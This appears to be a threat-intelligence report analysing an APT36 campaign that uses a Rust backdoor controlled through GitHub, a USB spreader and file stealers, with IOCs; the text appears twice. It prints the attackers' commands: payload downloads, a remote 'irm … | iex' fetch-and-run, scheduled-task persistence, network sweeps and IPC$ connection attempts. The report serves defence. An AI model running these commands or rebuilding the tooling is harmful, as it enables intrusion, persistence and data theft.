Operation RapidRust: APT36 Deploys RUSTYSHADE, RUSTYMOVE, PSNATCH, and BASHNATCH Sudeep Singh (Sr. Manager, APT Research)

IntroductionIn August 2026, Zscaler ThreatLabz observed new activity by the Pakistan-nexus threat actor APT36 in a campaign we’re tracking as Operation RapidRust. Since our last publication about the group’s activity in January 2026, APT36 has maintained a high operational tempo and updated their tactics, techniques, and procedures (TTPs) in continued attacks targeting government and defense organizations in India and Afghanistan. During our investigation, ThreatLabz discovered new malware families and post-compromise tools, as well as significant post-compromise activity. The new tools include the RUSTYSHADE backdoor, the RUSTYMOVE post-compromise tool, and the PSNATCH and BASHNATCH file-stealing tools.In this blog post, we provide a detailed technical analysis of APT36’s new tooling and post-compromise activity. Key TakeawaysIn August 2026, ThreatLabz observed new activity by the Pakistan-nexus threat actor APT36 targeting government and defense entities in India and Afghanistan.RUSTYSHADE is a new Rust-based backdoor that abuses attacker-controlled private GitHub repositories for command-and-control (C2) and uses AES-256-GCM to encrypt C2 communications.RUSTYMOVE is a new post-compromise tool used by APT36 to copy pre-staged malicious files to external removable media connected to infected machines, enabling the malware to spread to air-gapped networks.APT36 registered multiple typosquatted domains that impersonate popular Indian news outlets to stage malicious PowerShell scripts and payloads.PSNATCH is a new PowerShell-based file-stealing tool that scans a pre-configured list of directories and exfiltrates files matching a pre-configured list of extensions to the threat actor’s private GitHub repositories.BASHNATCH is a bash script similar to PSNATCH that targets Linux environments.APT36 attempted lateral movement by identifying active machines on the local network and mapping network shares. Technical AnalysisIn the following sections, ThreatLabz provides a technical analysis of the campaign, including its new malware tooling and post-compromise activity.RUSTYSHADERUSTYSHADE is a new 64-bit Windows backdoor written in Rust that abuses attacker-controlled private GitHub repositories for C2 communication. Some of its functionality is similar to GITSHELLPAD, which we observed in the GOGITTER campaign. However, notable differences include support for encrypted C2 communication, new C2 commands, and the use of Rust instead of Golang.During post-compromise activity, APT36 deployed RUSTYSHADE on compromised systems using the following command:powershell wget https://f005.backblazeb2[.]com/file/Clients-easy/DriverInstaller.zip -o ww.zipC2 communicationRUSTYSHADE uses the GitHub REST API as its C2 channel. A GitHub personal access token (PAT) is hardcoded in cleartext within the binary and is used to authenticate and interact with the threat actor’s private GitHub repository through the REST API with the following information:API Endpoint Template: https://api.github.com/repos/[owner]/[repo]/contents/[path]?ref=[branch]&t=[timestamp]
Authentication: Authorization: token [PAT] header
Accept Header: application/vnd.github.v3+jsonAll messages exchanged between RUSTYSHADE and the GitHub repositories are encrypted using AES-256-GCM.Encryption algorithmRUSTYSHADE encrypts C2 messages as follows:Derives a 32-byte AES key from the SHA256 hash of the GitHub PAT.Generates a random 12-byte nonce using BCryptGenRandom.Uses AES-256-GCM to encrypt plaintext resulting in a ciphertext and a 16-byte authentication tag. This 16-byte authentication tag is used by AES-256-GCM for integrity verification.Formats the encrypted data as: nonce[12] || ciphertext || tag[16]. The 12-byte nonce serves as the prefix, while the final 16 bytes contain the authentication tag.Base64-encodes the formatted message listed above.Prepends the HCENC1: prefix to the Base64-encoded data.The resulting message has the following format:HCENC1:[base64(nonce || ciphertext || tag)]To decrypt the message, RUSTYSHADE removes the HCENC1 prefix, Base64-decodes the remaining data, and decrypts it using AES-256-GCM.Command tasking mechanismRUSTYSHADE reads and writes specific filenames in the private GitHub repository to synchronize the communication between the infected machines and the C2 server. The filenames are listed in the table below.FilenamePurposecommand.txtEncrypted C2 commandsresults.txtEncrypted command outputinfo.txtSystem reconnaissance dataheartbeat.txtBeacon keepalive containing an epoch timestampscreenshot.pngEncrypted desktop screenshotwebcam_photo.jpgEncrypted webcam capturedownload.binEncrypted exfiltrated file contentsTable 1: Files used for commands, beacons, and exfiltrated data by RUSTYSHADE.The threat actor issues commands and receives the resulting output in the GitHub C2 repository as follows.Threat actor side: The threat actor encrypts the command using the previously described encryption algorithm and commits it to the command.txt file.Infected machine side: RUSTYSHADE polls the GitHub REST API and retrieves, decrypts, and executes the new command from command.txt. It then encrypts the command output and uploads it to the GitHub repository as results.txt.Commands use the following format:[COMMAND][:{arg}]A colon ( : ) or space separates the command name from its argument.C2 commandsThe table below lists C2 commands supported by RUSTYSHADE.CommandDescriptionss_upCapture a screenshot using native GDI32 APIs, encode it as a PNG file, and upload it as screenshot.png.CAP-photoCapture a webcam photo using WIA.CommonDialog, save it as a JPEG file, and upload it as webcam_photo.jpg.cd ..Navigate to the parent directory.cdChange the working directory to [path].runExecute a command in the background as a detached process using CreateProcessW.HC_LISTList the contents of the current working directory.HC_DRIVESEnumerate all system drive letters.HC_CDChange the working directory using an alternative command format.HC_CD:this pcAlias for HC_DRIVES (case-insensitive match).HC_DOWNLOADRead the file at [path], compress it using Compress-Archive, encrypt it, and upload it as download.bin.(default)Execute the input as a shell command using %SystemRoot%System32cmd.exe.Table 2: C2 commands supported by RUSTYSHADE.PSNATCHDuring our analysis of post-compromise activity, ThreatLabz observed the threat actor retrieving a next-stage PowerShell-based file stealer from an attacker-controlled GitHub gist. We named this PowerShell script PSNATCH. Its primary purpose is to steal files from infected machines and exfiltrate them to the threat actor’s private GitHub repositories.PSNATCH has the following key capabilities:Recursively scans preconfigured directories, including Desktop, Downloads, Documents, OneDrive (personal + commercial), and drives ‘D:’ through ‘H:’. It collects files that meet the following criteria:Have extensions associated with a broad range of file types, including Microsoft Office documents, images, archives, media, executables, scripts, and databases.Were modified within the last 120 days. Collection is limited to 1 GB per file and 5 GB per execution.Authenticates with the threat actor’s private GitHub repository using a hardcoded GitHub PAT.Creates a private repository named after the infected machine. Each infected machine is assigned its own repository.Exfiltrates data using the GitHub Contents API.Specifies SmartUploader as the custom User-Agent in all requests to the GitHub API.Organizes exfiltrated data into date-stamped folders using the format yyyy-MM-dd/[SourceFolder]/…Maintains a local tracking file located at %APPDATA%SmartUploaderuploaded_files.json that maps between file paths and last-modified timestamps. This is done to ensure only new/modified files are uploaded on subsequent runs, enabling incremental exfiltration across repeated executions.BASHNATCHBASHNATCH is the Linux variant of PSNATCH. The threat actor used this Bash script to target Linux environments. It scans the same preconfigured directories and file extensions as the Windows variant. BASHNATCH uses ~/.local/share/SmartUploader/uploaded_files.json to track previously exfiltrated files.RUSTYMOVERUSTYMOVE is a lightweight 64-bit Windows USB propagation tool written in Rust. Its sole function is to continuously monitor for external removable media (e.g., USB, SD, MMC, and IEEE 1394 devices) and copy the following two pre-staged malicious files to the root directory of each detected external drive.C:UsersPublicDocumentsDriverInstaller.zip: Contains the RUSTYSHADE executable described in the previous section.C:UsersPublicDocumentsDocScanner-11-Aug-2026-5-37pm.pdf.LNK: We cannot confirm the exact target command executed by the LNK. We assess with high-confidence that this LNK executes the RUSTYSHADE executable contained in DriverInstaller.zip when the user clicks it.The binary contains no embedded payloads or encryption capabilities, and does not communicate with network-based C2 infrastructure. RUSTYMOVE functions solely as a lateral movement component. Its limited functionality and reliance on hardcoded paths to pre-staged files suggest that RUSTYMOVE may be in an early stage of development.During post-compromise activity, APT36 deployed RUSTYMOVE on a compromised machine using the following:cd C:UsersPublicAccountPictures
dir
powershell wget hxxps://clients-easy.s3.us-east-005.backblazeb2[.]com/Automata-20.zip -o d.zip
dir
tar -xvf d.zip
dir
Start-Process -FilePath “.Automata-20.exe”
powershell.exe -NoProfile -Command “$t=’StandAloneOneDriveUpdater-2626′;$a=New-ScheduledTaskAction -Execute ‘C:UsersPublicAccountPicturesAutomata-20.exe’;$tr=New-ScheduledTaskTrigger -AtLogOn -User $env:USERNAME;Register-ScheduledTask -TaskName $t -Action $a -Trigger $tr -User $env:USERNAME -Force”
schtasks /Query /TN “StandAloneOneDriveUpdater-2626” /V /FO LISTThe scheduled task launches RUSTYMOVE when a user logs on. Its name, StandAloneOneDriveUpdater-2626, is intended to make it appear as a legitimate service.The following sections summarize RUSTYMOVE’s execution flow.RUSTYMOVE enters an infinite loop that executes two main functions: external drive discovery and file propagation. The malware pauses for 2 seconds between iterations.External drive discoveryRUSTYMOVE executes the following embedded PowerShell script using CreateProcessW to enumerate external drives.powershell.exe -NoProfile -NonInteractive -WindowStyle Hidden -Command “
Get-Volume | Where-Object DriveLetter | ForEach-Object {
$letter = $_.DriveLetter
$part = Get-Partition -DriveLetter $letter -ErrorAction SilentlyContinue
if (-not $part) { return }
$disk = Get-Disk -Number $part.DiskNumber -ErrorAction SilentlyContinue
if (-not $disk) { return }
$external = ($disk.BusType -in @(‘USB’,’1394′,’SD’,’MMC’)) -or
($disk.MediaType -in @(‘Removable Media’,’External hard disk media’))
if ($external -and $_.UniqueId) {
Write-Output (‘{0}|{1}’ -f $letter, $_.UniqueId)
}
}
“The output of the PowerShell script is parsed for strings containing \?Volume.For each valid external drive, RUSTYMOVE converts the drive letter to uppercase and executes the following PowerShell command to retrieve the volume’s UniqueId.Get-Volume -DriveLetter [X] -ErrorAction SilentlyContinue | Select-Object -ExpandProperty UniqueIdFile propagationFor each detected external drive mount point, RUSTYMOVE performs the following actions:Uses a HashMap, keyed by the external drive’s volume UniqueId, to track which external drives have already been infected.Iterates through an array containing the 2 pre-staged malicious files and:Extracts the filename.Constructs the destination path as [DriveLetter]:[filename].Checks if the destination already exists on the external removable media.If the file is not present, the malware copies it using CopyFileExW.If the copy succeeds, the malware writes “Copied: [path]” to log.txt.After processing both source files, RUSTYMOVE logs the following messages to log.txt:If files were copied: “Success [N] user(s).”If no files were copied: “No new files copied (already on drive, missing source, or copy failed).”Post-compromise activityDuring our investigation, ThreatLabz observed post-compromise activity from APT36 operators, including system, user, and network reconnaissance commands, and the deployment of next-stage payloads. Most of the activity took place between August 20, 2026 and September 1, 2026. ThreatLabz analyzed the timestamps associated with the C2 commands and found that the threat actor issues commands only between 4:00 a.m. and 11:00 a.m. UTC. The figure below shows the distribution of C2 commands by hour of the day.Figure 1: Distribution of Operation RapidRust C2 commands by hour of the day.ThreatLabz also analyzed the commands by date. As shown in the figure below, all observed activity occurred on weekdays, with no activity observed during the two weekends included in the analysis period.Figure 2: Operation RapidRust C2 activity by date.The table below summarizes RUSTYSHADE C2 commands executed by the threat actor during the observed post-compromise activity.CategoryC2 commandsDescriptionSystem Reconnaissanceipconfig, ipconfig /allwhoami, whoami /groups, whoami /privecho %COMSPEC%,echo %USERPROFILE%hostname, tasklistIdentify the current user, group memberships, privileges, running processes, hostname, network adapter configuration, and command interpreter path on the infected machine.Network Reconnaissancearp -aping -a [IP]nbtstat -A [IP]net view, net view \[IP]net share, net sessionfor /L %i in (1,1,254) do @ping -n 1 -w 300 192.168.1.%i | findstr /i “reply bytes TTL”1..254 | ForEach-Object { if (Test-Connection “192.168.1.$_” -Count 1 -Quiet -TimeoutSeconds 1) { Write-Host “UP: 192.168.1.$_” } }Map the local network by sweeping subnets for live hosts, resolving hostnames via reverse DNS and NetBIOS, and enumerating visible machines and SMB shares.GeolocationInvoke-RestMethod http://ip-api.com/json | Select-Object lat, loncurl https://ipinfo.io/jsoncurl https://ipapi.co/jsonRetrieve the infected machine’s external IP address and geographic coordinates (latitude/longitude) using public geolocation APIs.PersistenceRegister-ScheduledTask -TaskName ‘StandAloneOneDriveUpdater-2626’ … -Execute ‘Automata-20.exe’ -Trigger -AtLogOnschtasks /Create /TN “StandAloneOneDriveUpdater-2626” /SC ONLOGONRegister-ScheduledTask -TaskName ‘MicrosoftEdgeUpdateTaskUserS-1-5-24-…’ … conhost.exe –headless powershell.exe -EncodedCommand [irm indiatodays[.]org/pv | iex]Create scheduled tasks that execute payloads at user logon and masquerade as legitimate Microsoft OneDrive and Edge updater tasks. Persistence Verificationschtasks /Query /TN “StandAloneOneDriveUpdater-2626” /V /FO LISTschtasks /Query /FO LIST /Vschtasks /Query /FO TABLEVerify that the scheduled tasks created were registered successfully by querying them and checking command exit codes.Network Verificationping -n 1 [IP], ping -n 1 -w 1000 [IP]for %i in ([list]) do @ping … | findstr “reply TTL” powershell -Command “Test-NetConnection [IP] -Port 445″powershell -Command “Test-NetConnection [IP] -Port 135″Re-check the liveness of previously discovered hosts and probe specific ports (SMB 445 and RPC 135) to identify targets suitable for lateral movement.Lateral Movementnet use \[IP]IPC$net use \[IP]IPC$ /user:[machine_name]admin *Attempt to connect to the IPC$ share on a remote host, first using a null session and then using specified administrator credentials.Anti-Forensicsdel yogi.zip, del DriverInstaller.exe, del HealthCheck.exe, del sheets_agent.dll, del t_tracker.json, del a.zip, del hh.zip, del ms.zipren om.zip DriverInstaller.zipDelete files associated with previously deployed tooling and rename om.zip to DriverInstaller.zip.Table 3: Post-compromise commands executed by APT36. Threat Actor InfrastructureAPT36 used legitimate internet services and threat actor-registered domains to support this campaign.The threat actor used private GitHub repositories for C2 communications and legitimate cloud storage platforms, including Backblaze, to host post-compromise tools.The campaign domains were registered under NameCheap and used to host intermediate PowerShell scripts and next-stage payloads. As shown in the table below, the domains impersonated popular Indian media organizations.Malicious domainLegitimate domainRegistration datetheprints[.]orgtheprint.inMay 11, 2026indiatodays[.]orgindiatoday.inAug 17, 2026Table 4: Threat actor-registered domains impersonating Indian media organizations. ConclusionThis campaign demonstrates that APT36 continues to target government and defense entities in India and Afghanistan while maintaining high operational tempo and evolving TTPs. ThreatLabz identified a new Rust-based backdoor, Windows and Linux file-stealing tools, and a removable-media propagation tool, along with extensive post-compromise activity.  Zscaler CoverageZscaler’s multilayered cloud security platform detects indicators related to this campaign at various levels.Win64.Backdoor.RUSTYSHADEWin64.Spreader.RUSTYMOVEPS.Malicious.PSNATCHLinux.Malicious.BASHNATCH Indicators Of Compromise (IOCs)File indicatorsHashesFilenameDescription40a75f87f1e52c33df9ca733aaf8ebbb00aff1a72c5d5635ab36ce2eb370718a7f0557a052d07b3ef0c5f27d082551d51027de452682e1fbd5bb38a897ea4b31bd387523DriverInstaller.zipZIP archive containing RUSTYSHADEAe77f1834ccde53258bc27a779102af2761ccb15af1c3fe6e4365ddf65578966e4c84fc980fdde0dafa450ae33937ccef752b46666da567926b2f39b37e02e77f9d6a92eDriverInstaller.exeRUSTYSHADEAade06ec611d69f1553035f22356ccf4Ad4afe86a835bb2f7768862d358ebd8324c0590205bbeea42f481a3dd1b3f670aba481f7c5c8e897ef321d65188317be5a65a4d7Automata-20.zipZIP archive containing RUSTYMOVEF16f507a8ed515663a4f07050cd97a7400e1cc0fb1355c196c069791a02b4a5f3b57ae9470fc6cba3c2021889fb4093d0221dc6925818666df25718a630c562cac18da31Automata-20.exeRUSTYMOVENetwork indicatorsTypeIndicatorPayload staging domaintheprints[.]orgPayload staging domainofficialinfo[.]orgPayload staging domainindiatodays[.]orgPayload staging URLtheprints.]org/adrivePayload staging URLtheprints[.]org/drivefolderPayload staging URLtheprints[.]org/mauPayload staging URLtheprints[.]org/msheetsPayload staging URLtheprints[.]org/gsheetsPayload staging URLhxxps://clients-easy.s3.us-east-005.backblazeb2[.]com/Automata-20.zipPayload staging URLhxxps://f005.backblazeb2[.]com/file/Clients-easy/DriverInstaller.zip   

​[#item_full_content] [[{“value”:”IntroductionIn August 2026, Zscaler ThreatLabz observed new activity by the Pakistan-nexus threat actor APT36 in a campaign we’re tracking as Operation RapidRust. Since our last publication about the group’s activity in January 2026, APT36 has maintained a high operational tempo and updated their tactics, techniques, and procedures (TTPs) in continued attacks targeting government and defense organizations in India and Afghanistan. During our investigation, ThreatLabz discovered new malware families and post-compromise tools, as well as significant post-compromise activity. The new tools include the RUSTYSHADE backdoor, the RUSTYMOVE post-compromise tool, and the PSNATCH and BASHNATCH file-stealing tools.In this blog post, we provide a detailed technical analysis of APT36’s new tooling and post-compromise activity. Key TakeawaysIn August 2026, ThreatLabz observed new activity by the Pakistan-nexus threat actor APT36 targeting government and defense entities in India and Afghanistan.RUSTYSHADE is a new Rust-based backdoor that abuses attacker-controlled private GitHub repositories for command-and-control (C2) and uses AES-256-GCM to encrypt C2 communications.RUSTYMOVE is a new post-compromise tool used by APT36 to copy pre-staged malicious files to external removable media connected to infected machines, enabling the malware to spread to air-gapped networks.APT36 registered multiple typosquatted domains that impersonate popular Indian news outlets to stage malicious PowerShell scripts and payloads.PSNATCH is a new PowerShell-based file-stealing tool that scans a pre-configured list of directories and exfiltrates files matching a pre-configured list of extensions to the threat actor’s private GitHub repositories.BASHNATCH is a bash script similar to PSNATCH that targets Linux environments.APT36 attempted lateral movement by identifying active machines on the local network and mapping network shares. Technical AnalysisIn the following sections, ThreatLabz provides a technical analysis of the campaign, including its new malware tooling and post-compromise activity.RUSTYSHADERUSTYSHADE is a new 64-bit Windows backdoor written in Rust that abuses attacker-controlled private GitHub repositories for C2 communication. Some of its functionality is similar to GITSHELLPAD, which we observed in the GOGITTER campaign. However, notable differences include support for encrypted C2 communication, new C2 commands, and the use of Rust instead of Golang.During post-compromise activity, APT36 deployed RUSTYSHADE on compromised systems using the following command:powershell wget https://f005.backblazeb2[.]com/file/Clients-easy/DriverInstaller.zip -o ww.zipC2 communicationRUSTYSHADE uses the GitHub REST API as its C2 channel. A GitHub personal access token (PAT) is hardcoded in cleartext within the binary and is used to authenticate and interact with the threat actor’s private GitHub repository through the REST API with the following information:API Endpoint Template: https://api.github.com/repos/[owner]/[repo]/contents/[path]?ref=[branch]&t=[timestamp]
Authentication: Authorization: token [PAT] header
Accept Header: application/vnd.github.v3+jsonAll messages exchanged between RUSTYSHADE and the GitHub repositories are encrypted using AES-256-GCM.Encryption algorithmRUSTYSHADE encrypts C2 messages as follows:Derives a 32-byte AES key from the SHA256 hash of the GitHub PAT.Generates a random 12-byte nonce using BCryptGenRandom.Uses AES-256-GCM to encrypt plaintext resulting in a ciphertext and a 16-byte authentication tag. This 16-byte authentication tag is used by AES-256-GCM for integrity verification.Formats the encrypted data as: nonce[12] || ciphertext || tag[16]. The 12-byte nonce serves as the prefix, while the final 16 bytes contain the authentication tag.Base64-encodes the formatted message listed above.Prepends the HCENC1: prefix to the Base64-encoded data.The resulting message has the following format:HCENC1:[base64(nonce || ciphertext || tag)]To decrypt the message, RUSTYSHADE removes the HCENC1 prefix, Base64-decodes the remaining data, and decrypts it using AES-256-GCM.Command tasking mechanismRUSTYSHADE reads and writes specific filenames in the private GitHub repository to synchronize the communication between the infected machines and the C2 server. The filenames are listed in the table below.FilenamePurposecommand.txtEncrypted C2 commandsresults.txtEncrypted command outputinfo.txtSystem reconnaissance dataheartbeat.txtBeacon keepalive containing an epoch timestampscreenshot.pngEncrypted desktop screenshotwebcam_photo.jpgEncrypted webcam capturedownload.binEncrypted exfiltrated file contentsTable 1: Files used for commands, beacons, and exfiltrated data by RUSTYSHADE.The threat actor issues commands and receives the resulting output in the GitHub C2 repository as follows.Threat actor side: The threat actor encrypts the command using the previously described encryption algorithm and commits it to the command.txt file.Infected machine side: RUSTYSHADE polls the GitHub REST API and retrieves, decrypts, and executes the new command from command.txt. It then encrypts the command output and uploads it to the GitHub repository as results.txt.Commands use the following format:[COMMAND][:{arg}]A colon ( : ) or space separates the command name from its argument.C2 commandsThe table below lists C2 commands supported by RUSTYSHADE.CommandDescriptionss_upCapture a screenshot using native GDI32 APIs, encode it as a PNG file, and upload it as screenshot.png.CAP-photoCapture a webcam photo using WIA.CommonDialog, save it as a JPEG file, and upload it as webcam_photo.jpg.cd ..Navigate to the parent directory.cdChange the working directory to [path].runExecute a command in the background as a detached process using CreateProcessW.HC_LISTList the contents of the current working directory.HC_DRIVESEnumerate all system drive letters.HC_CDChange the working directory using an alternative command format.HC_CD:this pcAlias for HC_DRIVES (case-insensitive match).HC_DOWNLOADRead the file at [path], compress it using Compress-Archive, encrypt it, and upload it as download.bin.(default)Execute the input as a shell command using %SystemRoot%System32cmd.exe.Table 2: C2 commands supported by RUSTYSHADE.PSNATCHDuring our analysis of post-compromise activity, ThreatLabz observed the threat actor retrieving a next-stage PowerShell-based file stealer from an attacker-controlled GitHub gist. We named this PowerShell script PSNATCH. Its primary purpose is to steal files from infected machines and exfiltrate them to the threat actor’s private GitHub repositories.PSNATCH has the following key capabilities:Recursively scans preconfigured directories, including Desktop, Downloads, Documents, OneDrive (personal + commercial), and drives ‘D:’ through ‘H:’. It collects files that meet the following criteria:Have extensions associated with a broad range of file types, including Microsoft Office documents, images, archives, media, executables, scripts, and databases.Were modified within the last 120 days. Collection is limited to 1 GB per file and 5 GB per execution.Authenticates with the threat actor’s private GitHub repository using a hardcoded GitHub PAT.Creates a private repository named after the infected machine. Each infected machine is assigned its own repository.Exfiltrates data using the GitHub Contents API.Specifies SmartUploader as the custom User-Agent in all requests to the GitHub API.Organizes exfiltrated data into date-stamped folders using the format yyyy-MM-dd/[SourceFolder]/…Maintains a local tracking file located at %APPDATA%SmartUploaderuploaded_files.json that maps between file paths and last-modified timestamps. This is done to ensure only new/modified files are uploaded on subsequent runs, enabling incremental exfiltration across repeated executions.BASHNATCHBASHNATCH is the Linux variant of PSNATCH. The threat actor used this Bash script to target Linux environments. It scans the same preconfigured directories and file extensions as the Windows variant. BASHNATCH uses ~/.local/share/SmartUploader/uploaded_files.json to track previously exfiltrated files.RUSTYMOVERUSTYMOVE is a lightweight 64-bit Windows USB propagation tool written in Rust. Its sole function is to continuously monitor for external removable media (e.g., USB, SD, MMC, and IEEE 1394 devices) and copy the following two pre-staged malicious files to the root directory of each detected external drive.C:UsersPublicDocumentsDriverInstaller.zip: Contains the RUSTYSHADE executable described in the previous section.C:UsersPublicDocumentsDocScanner-11-Aug-2026-5-37pm.pdf.LNK: We cannot confirm the exact target command executed by the LNK. We assess with high-confidence that this LNK executes the RUSTYSHADE executable contained in DriverInstaller.zip when the user clicks it.The binary contains no embedded payloads or encryption capabilities, and does not communicate with network-based C2 infrastructure. RUSTYMOVE functions solely as a lateral movement component. Its limited functionality and reliance on hardcoded paths to pre-staged files suggest that RUSTYMOVE may be in an early stage of development.During post-compromise activity, APT36 deployed RUSTYMOVE on a compromised machine using the following:cd C:UsersPublicAccountPictures
dir
powershell wget hxxps://clients-easy.s3.us-east-005.backblazeb2[.]com/Automata-20.zip -o d.zip
dir
tar -xvf d.zip
dir
Start-Process -FilePath “.Automata-20.exe”
powershell.exe -NoProfile -Command “$t=’StandAloneOneDriveUpdater-2626′;$a=New-ScheduledTaskAction -Execute ‘C:UsersPublicAccountPicturesAutomata-20.exe’;$tr=New-ScheduledTaskTrigger -AtLogOn -User $env:USERNAME;Register-ScheduledTask -TaskName $t -Action $a -Trigger $tr -User $env:USERNAME -Force”
schtasks /Query /TN “StandAloneOneDriveUpdater-2626” /V /FO LISTThe scheduled task launches RUSTYMOVE when a user logs on. Its name, StandAloneOneDriveUpdater-2626, is intended to make it appear as a legitimate service.The following sections summarize RUSTYMOVE’s execution flow.RUSTYMOVE enters an infinite loop that executes two main functions: external drive discovery and file propagation. The malware pauses for 2 seconds between iterations.External drive discoveryRUSTYMOVE executes the following embedded PowerShell script using CreateProcessW to enumerate external drives.powershell.exe -NoProfile -NonInteractive -WindowStyle Hidden -Command “
Get-Volume | Where-Object DriveLetter | ForEach-Object {
$letter = $_.DriveLetter
$part = Get-Partition -DriveLetter $letter -ErrorAction SilentlyContinue
if (-not $part) { return }
$disk = Get-Disk -Number $part.DiskNumber -ErrorAction SilentlyContinue
if (-not $disk) { return }
$external = ($disk.BusType -in @(‘USB’,’1394′,’SD’,’MMC’)) -or
($disk.MediaType -in @(‘Removable Media’,’External hard disk media’))
if ($external -and $_.UniqueId) {
Write-Output (‘{0}|{1}’ -f $letter, $_.UniqueId)
}
}
“The output of the PowerShell script is parsed for strings containing \?Volume.For each valid external drive, RUSTYMOVE converts the drive letter to uppercase and executes the following PowerShell command to retrieve the volume’s UniqueId.Get-Volume -DriveLetter [X] -ErrorAction SilentlyContinue | Select-Object -ExpandProperty UniqueIdFile propagationFor each detected external drive mount point, RUSTYMOVE performs the following actions:Uses a HashMap, keyed by the external drive’s volume UniqueId, to track which external drives have already been infected.Iterates through an array containing the 2 pre-staged malicious files and:Extracts the filename.Constructs the destination path as [DriveLetter]:[filename].Checks if the destination already exists on the external removable media.If the file is not present, the malware copies it using CopyFileExW.If the copy succeeds, the malware writes “Copied: [path]” to log.txt.After processing both source files, RUSTYMOVE logs the following messages to log.txt:If files were copied: “Success [N] user(s).”If no files were copied: “No new files copied (already on drive, missing source, or copy failed).”Post-compromise activityDuring our investigation, ThreatLabz observed post-compromise activity from APT36 operators, including system, user, and network reconnaissance commands, and the deployment of next-stage payloads. Most of the activity took place between August 20, 2026 and September 1, 2026. ThreatLabz analyzed the timestamps associated with the C2 commands and found that the threat actor issues commands only between 4:00 a.m. and 11:00 a.m. UTC. The figure below shows the distribution of C2 commands by hour of the day.Figure 1: Distribution of Operation RapidRust C2 commands by hour of the day.ThreatLabz also analyzed the commands by date. As shown in the figure below, all observed activity occurred on weekdays, with no activity observed during the two weekends included in the analysis period.Figure 2: Operation RapidRust C2 activity by date.The table below summarizes RUSTYSHADE C2 commands executed by the threat actor during the observed post-compromise activity.CategoryC2 commandsDescriptionSystem Reconnaissanceipconfig, ipconfig /allwhoami, whoami /groups, whoami /privecho %COMSPEC%,echo %USERPROFILE%hostname, tasklistIdentify the current user, group memberships, privileges, running processes, hostname, network adapter configuration, and command interpreter path on the infected machine.Network Reconnaissancearp -aping -a [IP]nbtstat -A [IP]net view, net view \[IP]net share, net sessionfor /L %i in (1,1,254) do @ping -n 1 -w 300 192.168.1.%i | findstr /i “reply bytes TTL”1..254 | ForEach-Object { if (Test-Connection “192.168.1.$_” -Count 1 -Quiet -TimeoutSeconds 1) { Write-Host “UP: 192.168.1.$_” } }Map the local network by sweeping subnets for live hosts, resolving hostnames via reverse DNS and NetBIOS, and enumerating visible machines and SMB shares.GeolocationInvoke-RestMethod http://ip-api.com/json | Select-Object lat, loncurl https://ipinfo.io/jsoncurl https://ipapi.co/jsonRetrieve the infected machine’s external IP address and geographic coordinates (latitude/longitude) using public geolocation APIs.PersistenceRegister-ScheduledTask -TaskName ‘StandAloneOneDriveUpdater-2626’ … -Execute ‘Automata-20.exe’ -Trigger -AtLogOnschtasks /Create /TN “StandAloneOneDriveUpdater-2626” /SC ONLOGONRegister-ScheduledTask -TaskName ‘MicrosoftEdgeUpdateTaskUserS-1-5-24-…’ … conhost.exe –headless powershell.exe -EncodedCommand [irm indiatodays[.]org/pv | iex]Create scheduled tasks that execute payloads at user logon and masquerade as legitimate Microsoft OneDrive and Edge updater tasks. Persistence Verificationschtasks /Query /TN “StandAloneOneDriveUpdater-2626” /V /FO LISTschtasks /Query /FO LIST /Vschtasks /Query /FO TABLEVerify that the scheduled tasks created were registered successfully by querying them and checking command exit codes.Network Verificationping -n 1 [IP], ping -n 1 -w 1000 [IP]for %i in ([list]) do @ping … | findstr “reply TTL” powershell -Command “Test-NetConnection [IP] -Port 445″powershell -Command “Test-NetConnection [IP] -Port 135″Re-check the liveness of previously discovered hosts and probe specific ports (SMB 445 and RPC 135) to identify targets suitable for lateral movement.Lateral Movementnet use \[IP]IPC$net use \[IP]IPC$ /user:[machine_name]admin *Attempt to connect to the IPC$ share on a remote host, first using a null session and then using specified administrator credentials.Anti-Forensicsdel yogi.zip, del DriverInstaller.exe, del HealthCheck.exe, del sheets_agent.dll, del t_tracker.json, del a.zip, del hh.zip, del ms.zipren om.zip DriverInstaller.zipDelete files associated with previously deployed tooling and rename om.zip to DriverInstaller.zip.Table 3: Post-compromise commands executed by APT36. Threat Actor InfrastructureAPT36 used legitimate internet services and threat actor-registered domains to support this campaign.The threat actor used private GitHub repositories for C2 communications and legitimate cloud storage platforms, including Backblaze, to host post-compromise tools.The campaign domains were registered under NameCheap and used to host intermediate PowerShell scripts and next-stage payloads. As shown in the table below, the domains impersonated popular Indian media organizations.Malicious domainLegitimate domainRegistration datetheprints[.]orgtheprint.inMay 11, 2026indiatodays[.]orgindiatoday.inAug 17, 2026Table 4: Threat actor-registered domains impersonating Indian media organizations. ConclusionThis campaign demonstrates that APT36 continues to target government and defense entities in India and Afghanistan while maintaining high operational tempo and evolving TTPs. ThreatLabz identified a new Rust-based backdoor, Windows and Linux file-stealing tools, and a removable-media propagation tool, along with extensive post-compromise activity.  Zscaler CoverageZscaler’s multilayered cloud security platform detects indicators related to this campaign at various levels.Win64.Backdoor.RUSTYSHADEWin64.Spreader.RUSTYMOVEPS.Malicious.PSNATCHLinux.Malicious.BASHNATCH Indicators Of Compromise (IOCs)File indicatorsHashesFilenameDescription40a75f87f1e52c33df9ca733aaf8ebbb00aff1a72c5d5635ab36ce2eb370718a7f0557a052d07b3ef0c5f27d082551d51027de452682e1fbd5bb38a897ea4b31bd387523DriverInstaller.zipZIP archive containing RUSTYSHADEAe77f1834ccde53258bc27a779102af2761ccb15af1c3fe6e4365ddf65578966e4c84fc980fdde0dafa450ae33937ccef752b46666da567926b2f39b37e02e77f9d6a92eDriverInstaller.exeRUSTYSHADEAade06ec611d69f1553035f22356ccf4Ad4afe86a835bb2f7768862d358ebd8324c0590205bbeea42f481a3dd1b3f670aba481f7c5c8e897ef321d65188317be5a65a4d7Automata-20.zipZIP archive containing RUSTYMOVEF16f507a8ed515663a4f07050cd97a7400e1cc0fb1355c196c069791a02b4a5f3b57ae9470fc6cba3c2021889fb4093d0221dc6925818666df25718a630c562cac18da31Automata-20.exeRUSTYMOVENetwork indicatorsTypeIndicatorPayload staging domaintheprints[.]orgPayload staging domainofficialinfo[.]orgPayload staging domainindiatodays[.]orgPayload staging URLtheprints.]org/adrivePayload staging URLtheprints[.]org/drivefolderPayload staging URLtheprints[.]org/mauPayload staging URLtheprints[.]org/msheetsPayload staging URLtheprints[.]org/gsheetsPayload staging URLhxxps://clients-easy.s3.us-east-005.backblazeb2[.]com/Automata-20.zipPayload staging URLhxxps://f005.backblazeb2[.]com/file/Clients-easy/DriverInstaller.zip “}]]